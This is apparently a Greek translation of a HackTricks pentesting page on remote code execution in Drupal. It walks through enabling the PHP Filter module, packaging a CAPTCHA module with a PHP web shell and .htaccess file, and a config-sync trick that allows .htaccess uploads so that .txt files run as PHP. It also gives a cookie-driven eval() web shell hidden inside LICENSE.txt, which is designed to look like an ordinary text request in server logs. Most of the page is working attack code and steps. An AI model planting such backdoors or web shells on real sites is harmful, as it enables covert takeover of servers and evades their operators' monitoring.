Drupal RCE

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Με το Πρόσθετο PHP Filter

Σε παλαιότερες εκδόσεις του Drupal (πριν την έκδοση 8), ήταν δυνατό να συνδεθείτε ως διαχειριστής και να ενεργοποιήσετε το πρόσθετο PHP filter, το οποίο "Επιτρέπει την αξιολόγηση ενσωματωμένου κώδικα PHP/αποσπασμάτων." Αλλά από την έκδοση 8 αυτό το πρόσθετο δεν εγκαθίσταται από προεπιλογή.

Χρειάζεστε το πρόσθετο php να είναι εγκατεστημένο (ελέγξτε τον έλεγχο πρόσβασης στο /modules/php και αν επιστρέφει ένα 403 τότε, υπάρχει, αν δεν βρέθηκε, τότε το πρόσθετο php δεν είναι εγκατεστημένο)

Πηγαίνετε σε Πρόσθετα -> (Ελέγξτε) PHP Filter -> Αποθηκεύστε τη διαμόρφωση

Στη συνέχεια κάντε κλικ στο Προσθήκη περιεχομένου -> Επιλέξτε Βασική Σελίδα ή Άρθρο -> Γράψτε κώδικα κέλυφους php στο σώμα -> Επιλέξτε Κώδικα PHP στη μορφή Κείμενο -> Επιλέξτε Προεπισκόπηση

Τέλος, απλά αποκτήστε πρόσβαση στο νεοδημιουργημένο κόμβο:

curl http://drupal-site.local/node/3

Εγκατάσταση του Πρόσθετου PHP Filter

Στις τρέχουσες εκδόσεις δεν είναι πλέον δυνατή η εγκατάσταση πρόσθετων μόνο με πρόσβαση στον ιστό μετά την προεπιλεγμένη εγκατάσταση.

Από την έκδοση 8 και μετά, το PHP Filter module δεν εγκαθίσταται από προεπιλογή. Για να εκμεταλλευτούμε αυτήν τη λειτουργικότητα, θα πρέπει να εγκαταστήσουμε το module μόνοι μας.

  1. Κατεβάστε την πιο πρόσφατη έκδοση του module από την ιστοσελίδα του Drupal.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Αφού γίνει η λήψη, πηγαίνετε σε Διαχείριση > Αναφορές > Διαθέσιμες ενημερώσεις.

  4. Κάντε κλικ στο Περιήγηση, επιλέξτε το αρχείο από τον κατάλογο που το κατεβάσατε, και στη συνέχεια κάντε κλικ στο Εγκατάσταση.

  5. Αφού εγκατασταθεί το module, μπορούμε να κάνουμε κλικ στο Περιεχόμενο και να δημιουργήσουμε μια νέα βασική σελίδα, παρόμοια με τον τρόπο που κάναμε στο παράδειγμα του Drupal 7. Ξανά, βεβαιωθείτε ότι επιλέγετε Κώδικα PHP από την αναπτυσσόμενη λίστα Μορφοποίηση κειμένου.

Πρόσθετο με Παρασκευασμένη Πίσω Πόρτα

Στις τρέχουσες εκδόσεις δεν είναι πλέον δυνατή η εγκατάσταση πρόσθετων μόνο με πρόσβαση στον ιστό μετά την προεπιλεγμένη εγκατάσταση.

Ένα πρόσθετο με παρασκευασμένη πίσω πόρτα μπορεί να δημιουργηθεί προσθέτοντας ένα shell σε ένα υπάρχον πρόσθετο. Τα πρόσθετα μπορούν να βρεθούν στην ιστοσελίδα drupal.org. Ας επιλέξουμε ένα πρόσθετο όπως το CAPTCHA. Κύλισε προς τα κάτω και αντέγραψε τον σύνδεσμο για το tar.gz αρχείο.

  • Κατέβασε το αρχείο και εξάγετε το περιεχόμενό του.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Δημιουργήστε ένα PHP web shell με το παρακάτω περιεχόμενο:

<?php
system($_GET["cmd"]);
?>
  • Επόμενο, πρέπει να δημιουργήσουμε ένα αρχείο .htaccess για να δώσουμε πρόσβαση στον φάκελο. Αυτό είναι απαραίτητο επειδή το Drupal αρνείται την άμεση πρόσβαση στον φάκελο /modules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Η διαμόρφωση παραπάνω θα εφαρμόσει κανόνες για τον φάκελο / όταν ζητάμε ένα αρχείο στο /modules. Αντιγράψτε και τα δύο αρχεία αυτά στον φάκελο captcha και δημιουργήστε ένα αρχείο αρχειοθέτησης.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Υποθέτοντας ότι έχουμε διαχειριστική πρόσβαση στον ιστότοπο, κάντε κλικ στο Διαχείριση και στη συνέχεια στο Επέκταση στην πλευρική μπάρα. Στη συνέχεια, κάντε κλικ στο κουμπί + Εγκατάσταση νέου πρόσθετου, και θα μας οδηγηθεί στη σελίδα εγκατάστασης, όπως το http://drupal-site.local/admin/modules/install. Περιηγηθείτε στο αρχείο Captcha με backdoor και κάντε κλικ στο Εγκατάσταση.

  • Αφού η εγκατάσταση είναι επιτυχής, περιηγηθείτε στο /modules/captcha/shell.php για να εκτελέσετε εντολές.

Τοποθέτηση backdoor στο Drupal με συγχρονισμό διαμόρφωσης

Δημοσίευση από Coiffeur0x90

Μέρος 1 (ενεργοποίηση Media και Media Library)

Στο μενού Επέκταση (/admin/modules), μπορείτε να ενεργοποιήσετε ό,τι φαίνεται να είναι πρόσθετα που έχουν ήδη εγκατασταθεί. Από προεπιλογή, τα πρόσθετα Media και Media Library δεν φαίνεται να είναι ενεργοποιημένα, οπότε ας τα ενεργοποιήσουμε.

Πριν την ενεργοποίηση:

Μετά την ενεργοποίηση:

Μέρος 2 (εκμετάλλευση χαρακτηριστικού Συγχρονισμός διαμόρφωσης)

Θα εκμεταλλευτούμε το χαρακτηριστικό Συγχρονισμός διαμόρφωσης για να αντλήσουμε (εξαγωγή) και να μεταφορτώσουμε (εισαγωγή) καταχωρήσεις διαμόρφωσης Drupal:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Επιδιόρθωση system.file.yml

Ας ξεκινήσουμε με την επιδιόρθωση της πρώτης καταχώρησης allow_insecure_uploads από:

Αρχείο: system.file.yml


...

allow_insecure_uploads: false

...

Προς:

Αρχείο: system.file.yml


...

allow_insecure_uploads: true

...

Επιδιορθώστε το πεδίο field.field.media.document.field_media_document.yml

Στη συνέχεια, επιδιορθώστε τη δεύτερη καταχώρηση file_extensions από:

Αρχείο: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Προς:

Αρχείο: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Δεν το χρησιμοποιώ σε αυτή την ανάρτηση στο blog αλλά σημειώνεται ότι είναι δυνατόν να οριστεί η καταχώριση file_directory με τρόπο αυθαίρετο και ότι είναι ευάλωτη σε επίθεση διάβασης διαδρομής (έτσι μπορούμε να πάμε πίσω μέσα στο δέντρο αρχείων του Drupal).

Μέρος 3 (εκμεταλλευόμενοι το χαρακτηριστικό Προσθήκη Εγγράφου)

Το τελευταίο βήμα είναι το απλούστερο και διαιρείται σε δύο υπο-βήματα. Το πρώτο είναι να μεταφορτώσετε ένα αρχείο σε μορφή .htaccess για να εκμεταλλευτείτε τις οδηγίες του Apache και να επιτρέψετε στα αρχεία .txt να ερμηνεύονται από τη μηχανή PHP. Το δεύτερο είναι να μεταφορτώσετε ένα αρχείο .txt που περιέχει το φορτίο μας.

Αρχείο: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
<p>Γιατί αυτό το κόλπο είναι κομψό;</p>

<p>Επειδή μόλις ανέβει ο Webshell (που θα ονομάσουμε LICENSE.txt) στον διακομιστή Web, μπορούμε να μεταδώσουμε τις εντολές μας μέσω `$_COOKIE` και στα αρχεία καταγραφής του διακομιστή Web, αυτό θα εμφανιστεί ως μια νόμιμη αίτηση GET σε ένα αρχείο κειμένου.</p>

<p>Γιατί ονομάζουμε το Webshell μας LICENSE.txt;</p>

<p>Απλά επειδή αν πάρουμε το ακόλουθο αρχείο, για παράδειγμα [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (το οποίο υπάρχει ήδη στον πυρήνα του Drupal), έχουμε ένα αρχείο 339 γραμμών και μέγεθος 17,6 KB, το οποίο είναι ιδανικό για να προσθέσουμε ένα μικρό απόσπασμα κώδικα PHP στη μέση (καθώς το αρχείο είναι αρκετά μεγάλο).</p>

<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>

<p>Αρχείο: Επιδιορθωμένο LICENSE.txt</p>

...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Μέρος 3.1 (μεταφόρτωση αρχείου .htaccess)

Πρώτα, εκμεταλλευόμαστε το χαρακτηριστικό Προσθήκη Εγγράφου (/media/add/document) για να μεταφορτώσουμε το αρχείο μας που περιέχει τις οδηγίες Apache (.htaccess).

Μέρος 3.2 (μεταφόρτωση αρχείου LICENSE.txt)

Στη συνέχεια, εκμεταλλευόμαστε ξανά το χαρακτηριστικό Προσθήκη Εγγράφου (/media/add/document) για να μεταφορτώσουμε ένα Webshell που κρύβεται μέσα σε ένα αρχείο άδειας χρήσης.

Μέρος 4 (αλληλεπίδραση με το Webshell)

Το τελευταίο μέρος αποτελείται από την αλληλεπίδραση με το Webshell.

Όπως φαίνεται στο ακόλουθο στιγμιότυπο οθόνης, εάν το cookie που αναμένεται από το Webshell μας δεν έχει οριστεί, λαμβάνουμε το αντίστοιχο αποτέλεσμα όταν ελέγχουμε το αρχείο μέσω ενός προγράμματος περιήγησης στον ιστό.

Όταν ο επιτιθέμενος ορίζει το cookie, μπορεί να αλληλεπιδράσει με το Webshell και να εκτελέσει οποιεσδήποτε εντολές επιθυμεί.

Και όπως μπορείτε να δείτε στα logs, φαίνεται ότι ζητήθηκε μόνο ένα αρχείο txt.

Σας ευχαριστούμε που αφιερώσατε χρόνο για να διαβάσετε αυτό το άρθρο, ελπίζω ότι θα σας βοηθήσει να αποκτήσετε μερικά shells.

Last updated